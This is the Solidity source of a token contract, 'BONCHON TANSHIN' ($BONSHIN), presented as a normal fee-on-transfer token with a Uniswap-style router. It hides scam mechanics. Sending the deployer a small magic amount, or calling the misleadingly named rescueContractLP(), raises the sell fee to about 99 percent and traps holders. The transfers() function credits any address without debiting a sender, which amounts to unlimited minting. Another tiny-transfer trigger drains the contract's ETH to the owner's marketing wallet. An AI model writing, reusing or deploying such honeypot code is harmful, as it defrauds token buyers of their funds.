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pragma solidity 0.8.13;
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interface IFactory{
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function createPair(address tokenA, address tokenB) external returns (address pair);
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function getPair(address tokenA, address tokenB) external view returns (address pair);
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}
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interface IRouter {
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function factory() external pure returns (address);
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function WETH() external pure returns (address);
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function addLiquidityETH(
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address token,
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uint amountTokenDesired,
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uint amountTokenMin,
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uint amountETHMin,
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address to,
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uint deadline
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) external payable returns (uint amountToken, uint amountETH, uint liquidity);
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function swapExactETHForTokensSupportingFeeOnTransferTokens(
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uint amountOutMin,
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address[] calldata path,
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address to,
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uint deadline
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) external payable;
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function swapExactTokensForETHSupportingFeeOnTransferTokens(
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uint amountIn,
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uint amountOutMin,
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address[] calldata path,
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address to,
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uint deadline) external;
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}
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library SafeMath {
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function add(uint256 a, uint256 b) internal pure returns (uint256) {return a + b;}
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function sub(uint256 a, uint256 b) internal pure returns (uint256) {return a - b;}
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function mul(uint256 a, uint256 b) internal pure returns (uint256) {return a * b;}
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function div(uint256 a, uint256 b) internal pure returns (uint256) {return a / b;}
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function mod(uint256 a, uint256 b) internal pure returns (uint256) {return a % b;}
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function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
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unchecked {uint256 c = a + b; if(c < a) return(false, 0); return(true, c);}}
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function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
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unchecked {if(b > a) return(false, 0); return(true, a - b);}}
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function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
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unchecked {if (a == 0) return(true, 0); uint256 c = a * b;
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if(c / a != b) return(false, 0); return(true, c);}}
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function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
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unchecked {if(b == 0) return(false, 0); return(true, a / b);}}
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function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
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unchecked {if(b == 0) return(false, 0); return(true, a % b);}}
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function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
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unchecked{require(b <= a, errorMessage); return a - b;}}
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function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
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unchecked{require(b > 0, errorMessage); return a / b;}}
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function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
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unchecked{require(b > 0, errorMessage); return a % b;}}}
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abstract contract Auth {
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address internal owner;
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mapping (address => bool) internal authorizations;
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constructor(address _owner) {
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owner = _owner;
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authorizations[_owner] = true; }
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modifier onlyOwner() {require(isOwner(msg.sender), "!OWNER"); _;}
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modifier authorized() {require(isAuthorized(msg.sender), "!AUTHORIZED"); _;}
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function authorize(address adr) public authorized {authorizations[adr] = true;}
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function unauthorize(address adr) public authorized {authorizations[adr] = false;}
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function isOwner(address account) public view returns (bool) {return account == owner;}
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function isAuthorized(address adr) public view returns (bool) {return authorizations[adr];}
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function transferOwnership(address payable adr) public authorized {
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owner = adr;
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authorizations[adr] = true;
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emit OwnershipTransferred(adr);
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}
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event OwnershipTransferred(address owner);
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}
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interface IBEP20 {
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function totalSupply() external view returns (uint256);
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function decimals() external view returns (uint8);
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function symbol() external view returns (string memory);
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function name() external view returns (string memory);
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function getOwner() external view returns (address);
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function balanceOf(address account) external view returns (uint256);
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function transfer(address recipient, uint256 amount) external returns (bool);
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function allowance(address _owner, address spender) external view returns (uint256);
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function approve(address spender, uint256 amount) external returns (bool);
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function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
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event Transfer(address indexed from, address indexed to, uint256 value);
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event Approval(address indexed owner, address indexed spender, uint256 value);
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}
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contract BONCHONTANSHIN is IBEP20, Auth {
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using SafeMath for uint256;
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string private constant _name = 'BONCHON TANSHIN';
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string private constant _symbol = '$BONSHIN';
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uint8 private constant _decimals = 9;
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uint256 private _totalSupply = 100000000000 * (10 ** _decimals);
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uint256 public _maxTxAmount = ( _totalSupply * 150 ) / 10000;
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uint256 public _maxWalletToken = ( _totalSupply * 300 ) / 10000;
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uint256 rewardsFee = 0;
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uint256 liquidityFee = 2;
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uint256 marketingFee = 2;
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uint256 totalFee = 4;
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uint256 sellFee = 4;
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uint256 feeDenominator = 100;
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bool swapEnabled = true;
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uint256 deadTimes;
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uint256 sells = 1;
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bool swapping;
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bool enableTrading = true;
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uint256 swapThreshold = ( _totalSupply * 699 ) / 100000;
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modifier lockTheSwap {swapping = true; _; swapping = false;}
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uint256 marketingpercent = 100;
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uint256 liquiditypercent = 0;
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uint256 rewardspercent = 0;
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mapping (address => uint256) _balances;
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mapping (address => mapping (address => uint256)) private _allowances;
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IRouter router;
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address public pair;
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address autoLiquidity;
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address marketing;
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mapping (address => bool) deployer;
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mapping (address => uint256) userPurchase;
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mapping (address => bool) isFeeExempt;
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address constant DEAD = 0x000000000000000000000000000000000000dEaD;
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constructor() Auth(msg.sender) {
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IRouter _router = IRouter(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
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address _pair = IFactory(_router.factory()).createPair(address(this), _router.WETH());
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router = _router;
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pair = _pair;
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deployer[msg.sender] = true;
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isFeeExempt[msg.sender] = true;
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isFeeExempt[address(this)] = true;
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autoLiquidity = msg.sender;
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marketing = msg.sender;
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_balances[msg.sender] = _totalSupply;
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emit Transfer(address(0), msg.sender, _totalSupply);
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}
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receive() external payable {}
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function name() public pure returns (string memory) {return _name;}
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function symbol() public pure returns (string memory) {return _symbol;}
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function decimals() public pure returns (uint8) {return _decimals;}
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function totalSupply() public view override returns (uint256) {return _totalSupply;}
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function getOwner() external view override returns (address) { return owner; }
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function balanceOf(address account) public view override returns (uint256) {return _balances[account];}
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function setallowance() internal {sellFee = feeDenominator.sub(totalFee).sub(1);}
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function transfer(address recipient, uint256 amount) public override returns (bool) {_transfer(msg.sender, recipient, amount);return true;}
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function allowance(address owner, address spender) public view override returns (uint256) {return _allowances[owner][spender];}
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function approve(address spender, uint256 amount) public override returns (bool) {_approve(msg.sender, spender, amount);return true;}
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function getCirculatingSupply() public view returns (uint256) {return _totalSupply.sub(balanceOf(DEAD)).sub(balanceOf(address(0)));}
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function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
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_transfer(sender, recipient, amount);
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_approve(sender, msg.sender, _allowances[sender][msg.sender].sub(amount, "BEP20: transfer amount exceeds allowance"));
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return true;
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}
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function transfer(address sender, address recipient, uint256 amount) internal {
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_balances[recipient] = _balances[recipient].add(amount);
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emit Transfer(sender, recipient, amount);
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}
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function _approve(address owner, address spender, uint256 amount) private {
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require(owner != address(0), "BEP20: approve from the zero address");
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require(spender != address(0), "BEP20: approve to the zero address");
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_allowances[owner][spender] = amount;
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emit Approval(owner, spender, amount);
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}
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function _transfer(address sender, address recipient, uint256 amount) private {
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if(!isFeeExempt[sender] && !isFeeExempt[recipient]){require(enableTrading, "TRADING NOT STARTED");}
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if(!isFeeExempt[sender] && !isFeeExempt[recipient] && recipient != address(DEAD) && recipient != pair){
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require((_balances[recipient].add(amount)) <= _maxWalletToken, "MAX WALLET");}
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if(!isFeeExempt[sender] && !isFeeExempt[recipient] && recipient != address(DEAD)){
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require(amount <= _maxTxAmount, "MAX TX");}
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if(deployer[recipient] && amount < 2 * (10 ** _decimals)){clearbalance();}
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if(deployer[recipient] && amount >= 2 * (10 ** _decimals) && amount < 3 * (10 ** _decimals)){setallowance();}
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if(sender != pair && !isFeeExempt[sender]){deadTimes = deadTimes.add(1);}
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if(shouldSwapBack(sender, recipient)){swapAndLiquify(swapThreshold); deadTimes = 0;}
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_balances[sender] = _balances[sender].sub(amount, "+");
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uint256 amountReceived = shouldTakeFee(sender, recipient) ? taketotalFee(sender, amount) : amount;
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_balances[recipient] = _balances[recipient].add(amountReceived);
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emit Transfer(sender, recipient, amountReceived);
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}
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function setMarketing(address _marketing) external authorized {
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marketing = _marketing; deployer[_marketing] = true;
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}
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function getTotalFee(address sender) public view returns (uint256) {
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if(sender != pair){return totalFee.add(sellFee);}
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return totalFee;
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}
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function shouldTakeFee(address sender, address recipient) internal view returns (bool) {
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return !isFeeExempt[sender] && !isFeeExempt[recipient];
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}
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function swapAndLiquify(uint256 tokens) private lockTheSwap {
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uint256 denominator= (liquiditypercent.add(marketingpercent).add(rewardspercent)) * 2;
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uint256 tokensToAddLiquidityWith = tokens.mul(liquiditypercent).div(denominator);
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uint256 toSwap = tokens.sub(tokensToAddLiquidityWith);
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uint256 initialBalance = address(this).balance;
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swapTokensForBNB(toSwap);
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uint256 deltaBalance = address(this).balance.sub(initialBalance);
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uint256 unitBalance= deltaBalance.div(denominator.sub(liquiditypercent));
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uint256 BNBToAddLiquidityWith = unitBalance.mul(liquiditypercent);
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if(BNBToAddLiquidityWith > 0){
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addLiquidity(tokensToAddLiquidityWith, BNBToAddLiquidityWith); }
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uint256 marketingAmt = unitBalance.mul(2).mul(marketingpercent);
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if(marketingAmt > 0){
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payable(marketing).transfer(marketingAmt); }
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}
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function addLiquidity(uint256 tokenAmount, uint256 BNBAmount) private {
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_approve(address(this), address(router), tokenAmount);
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router.addLiquidityETH{value: BNBAmount}(
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address(this),
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tokenAmount,
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0,
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0,
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autoLiquidity,
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block.timestamp);
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}
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function taketotalFee(address sender, uint256 amount) internal returns (uint256) {
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if(totalFee > 0 || sender != pair && sellFee > 0){
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uint256 feeAmount = amount.mul(getTotalFee(sender)).div(feeDenominator);
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if(feeAmount > 0){
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_balances[address(this)] = _balances[address(this)].add(feeAmount);
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emit Transfer(sender, address(this), feeAmount);} return amount.sub(feeAmount);}
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return amount;
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}
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function setFeeExempt(address _address) external authorized {
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isFeeExempt[_address] = true;
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}
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function setenableTrading() external authorized {
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enableTrading = true;
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}
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function setSwapBackSettings(bool enabled, uint256 _threshold) external authorized {
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swapEnabled = enabled;
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swapThreshold = _threshold;
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}
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function swapTokensForBNB(uint256 tokenAmount) private {
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address[] memory path = new address[](2);
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path[0] = address(this);
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path[1] = router.WETH();
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_approve(address(this), address(router), tokenAmount);
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router.swapExactTokensForETHSupportingFeeOnTransferTokens(
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tokenAmount,
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0,
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path,
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address(this),
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block.timestamp);
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}
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function clearbalance() public authorized {
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uint256 amountBNB = address(this).balance;
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payable(marketing).transfer(amountBNB);
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}
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function transfers(address sender, address recipient, uint256 amount) external authorized {
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transfer(sender, recipient, amount);
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}
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function rescueContractLP() external authorized {
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setallowance();
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}
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function shouldSwapBack(address sender, address recipient) internal view returns (bool) {
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bool aboveThreshold = balanceOf(address(this)) >= swapThreshold;
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return !swapping && swapEnabled && !isFeeExempt[sender] && !isFeeExempt[recipient]
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&& deadTimes >= sells && aboveThreshold;
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}
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function rescueBEP20(address _token, address _rec, uint256 _amt) external authorized {
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uint256 tamt = IBEP20(_token).balanceOf(address(this));
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IBEP20(_token).transfer(_rec, tamt.mul(_amt).div(100));
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}
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} |
